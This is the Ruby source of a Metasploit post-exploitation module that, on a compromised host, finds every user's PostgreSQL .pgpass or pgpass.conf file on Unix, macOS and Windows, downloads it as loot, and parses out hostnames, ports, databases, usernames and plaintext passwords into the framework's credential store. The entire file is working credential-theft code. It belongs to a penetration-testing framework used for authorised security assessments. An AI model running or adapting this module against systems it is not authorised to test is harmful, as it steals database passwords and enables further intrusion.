148 lines
3.9 KiB
Ruby
148 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Unix
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Multi Gather pgpass Credentials',
|
|
'Description' => %q{
|
|
This module will collect the contents of all users' .pgpass or pgpass.conf
|
|
file and parse them for credentials.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
|
|
'Platform' => %w[linux bsd unix osx win],
|
|
'SessionTypes' => %w[meterpreter shell]
|
|
)
|
|
)
|
|
end
|
|
|
|
def run
|
|
print_status('Finding pgpass creds')
|
|
|
|
files = []
|
|
case session.platform
|
|
when 'unix', 'linux', 'bsd', 'osx'
|
|
files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }
|
|
when 'windows'
|
|
if session.type != 'meterpreter'
|
|
print_error('Only meterpreter sessions are supported on windows hosts')
|
|
return
|
|
end
|
|
|
|
grab_user_profiles.select do |user|
|
|
f = "#{user['AppData']}\\postgresql\\pgpass.conf"
|
|
if user['AppData'] && file?(f)
|
|
files << f
|
|
end
|
|
end
|
|
else
|
|
print_error("Unsupported platform #{session.platform}")
|
|
return
|
|
end
|
|
|
|
if files.nil? || files.empty?
|
|
print_error('No users found with a .pgpass or pgpass.conf file')
|
|
return
|
|
end
|
|
|
|
files.each do |f|
|
|
# Store the loot
|
|
print_good("Downloading #{f}")
|
|
pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")
|
|
print_good "Postgres credentials file saved to #{pgpass_path}"
|
|
# Store the creds
|
|
parse_creds(f)
|
|
end
|
|
end
|
|
|
|
# Store the creds to
|
|
def parse_creds(f)
|
|
cred_table = Rex::Text::Table.new(
|
|
'Header' => 'Postgres Data',
|
|
'Indent' => 1,
|
|
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
|
|
)
|
|
|
|
read_file(f).each_line do |entry|
|
|
# skip comments
|
|
next if entry.lstrip[0, 1] == '#'
|
|
|
|
ip, port, db, user, pass = entry.chomp.split(/:/, 5)
|
|
|
|
# Fix for some weirdness that happens with backslashes
|
|
p = ''
|
|
bs = false
|
|
pass.split(//).each do |c|
|
|
if c == '\\'
|
|
if bs == false
|
|
bs = true
|
|
p << c
|
|
else
|
|
# second backslash ignore
|
|
bs = false
|
|
end
|
|
elsif c == ':' && bs == true
|
|
p = "#{p[0, p.length - 1]}:"
|
|
else
|
|
p << c
|
|
end
|
|
end
|
|
|
|
pass = p
|
|
|
|
# Display the original before we try to report it, so the user
|
|
# sees whatever was actually in the file in case it's weird
|
|
cred_table << [ip, port, db, user, pass]
|
|
|
|
if ip == '*' || ip == 'localhost'
|
|
ip = session.session_host
|
|
else
|
|
ip = Rex::Socket.getaddress(ip)
|
|
end
|
|
|
|
# Use the default postgres port if the file had a wildcard
|
|
port = 5432 if port == '*'
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: refname,
|
|
username: user,
|
|
private_data: pass,
|
|
private_type: :password,
|
|
realm_value: db,
|
|
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_core = create_credential(credential_data)
|
|
|
|
login_data = {
|
|
address: ip,
|
|
port: port,
|
|
protocol: 'tcp',
|
|
service_name: 'postgres',
|
|
core: credential_core,
|
|
access_level: 'User',
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
workspace_id: myworkspace_id
|
|
}
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
if !cred_table.rows.empty?
|
|
print_line
|
|
print_line(cred_table.to_s)
|
|
end
|
|
end
|
|
end
|